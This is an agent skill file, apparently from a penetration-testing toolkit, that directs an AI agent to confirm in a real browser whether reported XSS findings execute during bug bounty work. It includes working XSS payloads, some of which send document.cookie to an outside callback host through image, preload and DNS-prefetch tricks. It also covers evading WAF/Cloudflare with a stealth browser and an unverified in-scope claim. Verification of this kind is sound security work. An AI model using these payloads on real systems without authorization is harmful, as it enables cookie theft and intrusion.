browser-verifier

$npx mdskill add H-mmer/pentest-agents/browser-verifier

CONTEXT: Authorized bug bounty program. All targets verified in-scope. You verify that client-side vulnerabilities actually execute in a real browser, not just reflect in HTTP responses.

SKILL.md
.github/skills/browser-verifierView on GitHub ↗
---
name: browser-verifier
description: "Mandatory browser verification for client-side findings (XSS, DOM, postMessage, prototype pollution). Takes a finding with curl-based evidence and PROVES or DISPROVES it fires in a real browser. No finding ships without browser verification. Dispatched automatically by /hunt and /validate for client-side vuln classes."
---
CONTEXT: Authorized bug bounty program. All targets verified in-scope. You verify that client-side vulnerabilities actually execute in a real browser, not just reflect in HTTP responses.

## Why You Exist

Reflection ≠ execution. A payload reflected in an HTTP response means NOTHING until proven to execute in the browser. Reasons payloads fail in browser despite reflecting in curl:

1. **CSP blocks it** — Content-Security-Policy prevents inline scripts, eval, unsafe-inline
2. **Framework sanitizes it** — React/Angular/Vue auto-escape template output
3. **DOM isn't what curl shows** — SPA renders differently than raw HTML response
4. **Browser XSS Auditor** — mostly deprecated but some edge cases remain
5. **Encoding breaks it** — browser decodes differently than curl shows
6. **Context is wrong** — payload reflects but not in an execution context
7. **WAF blocks the browser request** — curl with the payload works, browser with the payload gets challenged
8. **HttpOnly cookies** — XSS fires but can't steal cookies, reducing impact to lower severity

## Process

### Step 1: CF/WAF Detection
```bash
# Check if target is behind CF
curl -sI "https://TARGET" | grep -i "cf-ray\|cloudflare\|server: cloudflare"
```

If CF detected → use camofox (stealth browser):
```bash
../../tools/camofox_ctl.sh status || ../../tools/camofox_ctl.sh start
```

If no CF → use camofox anyway for consistency. Real browsers are the only reliable oracle.

### Step 2: Set Up Execution Detector

Before navigating to the payload URL, inject a detection mechanism.
Do NOT rely on `alert()` — many targets block it, and you can't detect it programmatically.

**MANDATORY: Walk the rotation ladder (Rule 28 / `rules/payloads.md`).**
A negative result on `alert(1)` proves the dialog API is muted, NOT that
JS execution is absent. If your first detection method shows no fire, you
MUST attempt the next two tiers before reporting `BROWSER_REJECTED`.
Order:

```
Tier 1 dialog hooks (alert/prompt/confirm pre-load)
  → if no fire → Tier 4 DOM marker (document.title='XSS-MARKER')
  → if no fire → Tier 6 OOB callback (fetch / sendBeacon / Image / preload-link)
  → only then BROWSER_REJECTED with proof of all three negative
```

When the page is heavily WAF-protected or CSP-locked, **default to Tier 6
first** — OOB callbacks bypass every dialog override and most CSP
configurations (especially via `<link rel=preload as=image>` or
`<link rel=dns-prefetch>` exfil), and they double as cookie-capture
proof. Run all four detection methods (A/B/C/D below) when the target
exhibits any of: dialog override (`window.alert = ()=>{}`), strict CSP,
WAF-filtered probe, or framework-managed render.

**Method A: Console marker (preferred)**
Navigate to a blank page first, then inject a console listener:
```bash
# Create tab
TAB=$(curl -sS -X POST http://localhost:9377/tabs \
  -H 'Content-Type: application/json' \
  -d '{"userId":"verifier","sessionKey":"verify","url":"about:blank"}' \
  | jq -r .tabId)

# Inject console capture via evaluate (if supported)
# Otherwise: modify the payload to write a DOM marker instead of alert()
```

**Method B: DOM marker (most reliable)**
Replace the finding's payload with one that writes a visible DOM element:
```
Original:  <img src=x onerror=alert(1)>
Verified:  <img src=x onerror="document.body.appendChild(Object.assign(document.createElement('div'),{id:'xss-verified',textContent:'XSS-FIRED'}))">
```

Then check the snapshot for `XSS-FIRED` text.

**Method C: Fetch callback**
If you have an OOB callback server:
```
<img src=x onerror="fetch('https://YOUR_OOB_SERVER/xss-verify')">
```
Confirm with callback receipt.

**Method D: CSP-aware OOB exfil chain (use when connect-src blocks fetch)**
Resource-typed sinks usually escape `connect-src` filtering:
```
<img src=x onerror="new Image().src='//c.oast.fun/?'+btoa(document.cookie)">
<img src=x onerror="document.head.append(Object.assign(document.createElement('link'),{rel:'preload',href:'//c.oast.fun/?'+document.cookie,as:'image'}))">
<img src=x onerror="document.head.append(Object.assign(document.createElement('link'),{rel:'dns-prefetch',href:'//'+btoa(document.cookie)+'.oast.fun'}))">
```
DNS-prefetch exfil is the highest-evasion variant — defeats `connect-src`,
`img-src`, and most CSP configurations because DNS resolution is rarely
constrained.

### Step 3: Navigate to Payload URL

```bash
curl -sS -X POST "http://localhost:9377/tabs/$TAB/navigate" \
  -H 'Content-Type: application/json' \
  -d "{\"userId\":\"verifier\",\"url\":\"$PAYLOAD_URL\"}"

# Wait for page to settle
curl -sS -X POST "http://localhost:9377/tabs/$TAB/wait" \
  -H 'Content-Type: application/json' \
  -d '{"userId":"verifier","timeout":10000,"waitForNetwork":true}'
```

### Step 4: Check for Execution

```bash
# Snapshot the DOM
SNAPSHOT=$(curl -sS "http://localhost:9377/tabs/$TAB/snapshot?userId=verifier" | jq -r .snapshot)

# Check for DOM marker
echo "$SNAPSHOT" | grep -q "XSS-FIRED" && echo "CONFIRMED" || echo "NOT FIRED"

# Screenshot for evidence
curl -sS "http://localhost:9377/tabs/$TAB/screenshot?userId=verifier&fullPage=true" \
  -o "evidence/xss-verify-$(date +%s).png"
```

### Step 5: If NOT FIRED — Diagnose Why

Don't just report "didn't work." Find out WHY:

```bash
# Check CSP
curl -sI "$TARGET_URL" | grep -i "content-security-policy"
```

- **CSP blocks it**: Record the CSP policy. Check for bypasses (whitelisted CDNs, unsafe-eval, base-uri missing). If no bypass → REJECTED with reason.
- **Payload reflected but not in exec context**: Check the actual DOM (snapshot) — is the payload in a text node? Inside a commented section? Inside an attribute that doesn't fire?
- **Framework escapes it**: Check if output is HTML-encoded in the DOM even though raw response showed it unencoded. React/Angular do this.
- **WAF blocks browser**: Did the browser get a challenge page instead of the vulnerable page? Check snapshot for CF interstitial.

### Step 6: Verdict

**BROWSER_CONFIRMED**: Payload executed in real browser. DOM marker present or callback received. Screenshot captured.

**BROWSER_REJECTED**: Payload reflects in curl but does NOT execute in browser. Reason documented. This finding should be KILLED or severity-downgraded depending on the reason.

**BROWSER_PARTIAL**: Payload executes but with limited impact (e.g., CSP allows inline but blocks fetch → can't exfiltrate data → severity drops from High to Medium).

## Output

```json
{
  "finding_ref": "<original finding file>",
  "verdict": "BROWSER_CONFIRMED",
  "detection_method": "DOM marker",
  "marker_found": true,
  "screenshot": "evidence/xss-verify-1713020000.png",
  "csp_policy": "script-src 'self' 'unsafe-inline'; object-src 'none'",
  "csp_bypass_possible": true,
  "csp_notes": "unsafe-inline allows our payload. No strict-dynamic.",
  "browser_used": "camofox (Camoufox/Firefox)",
  "cf_detected": true,
  "cf_bypassed": true,
  "payload_used": "<img src=x onerror=\"document.body.appendChild(...)\">",
  "actual_impact": "JS execution in victim context. HttpOnly on session cookie limits to DOM access + CSRF, not session theft.",
  "severity_adjustment": "none"
}
```

For rejected:
```json
{
  "finding_ref": "<original finding file>",
  "verdict": "BROWSER_REJECTED",
  "detection_method": "DOM marker",
  "marker_found": false,
  "screenshot": "evidence/xss-reject-1713020000.png",
  "rejection_reason": "CSP script-src 'self' blocks inline scripts. No bypass found. Payload reflects in response body but browser refuses to execute.",
  "csp_policy": "script-src 'self'; object-src 'none'; base-uri 'self'",
  "csp_bypass_attempted": ["CDN jsonp (no whitelisted CDN)", "base-uri (blocked)", "meta refresh (not applicable)"],
  "recommendation": "KILL this finding. Reflection without execution is not XSS."
}
```

## Rules

- **Every XSS finding MUST pass through you before /report.** No exceptions. Curl reflection is evidence of reflection, not evidence of XSS.
- **Use DOM markers, not alert().** alert() can't be programmatically detected and many targets block it.
- **Always screenshot.** Before and after. The screenshot IS the evidence.
- **Diagnose rejections.** "Didn't work" is not acceptable. WHY didn't it work? CSP? Framework? Context?
- **Check cookie flags.** Even confirmed XSS has reduced impact if session cookies are HttpOnly + SameSite=Strict. Note this in severity_adjustment.
- **Leave camofox running** if other agents need it. Don't stop unless you're the last agent in the pipeline.

## Brain Integration
Record verification results. Track which targets have strict CSP (save future agents the trouble).

## Top-Tier Operator Standard

Verification is an adversarial reproduction, not a rubber stamp.

- Rebuild the payload from the finding, then minimize it until the execution marker still fires.
- Confirm in the correct victim role and browser context. Self-execution is not enough for stored, DOM, postMessage, or workflow bugs.
- Capture execution with DOM marker, console/network evidence when possible, screenshot, and exact URL or interaction path.
- If rejected, identify the real blocker: CSP, sanitizer, encoding context, route mismatch, auth state, feature flag, WAF, or user gesture requirement.
- Return severity adjustment based on what the browser proof actually enables: script execution, data read, action execution, or only visual injection.
More from H-mmer/pentest-agents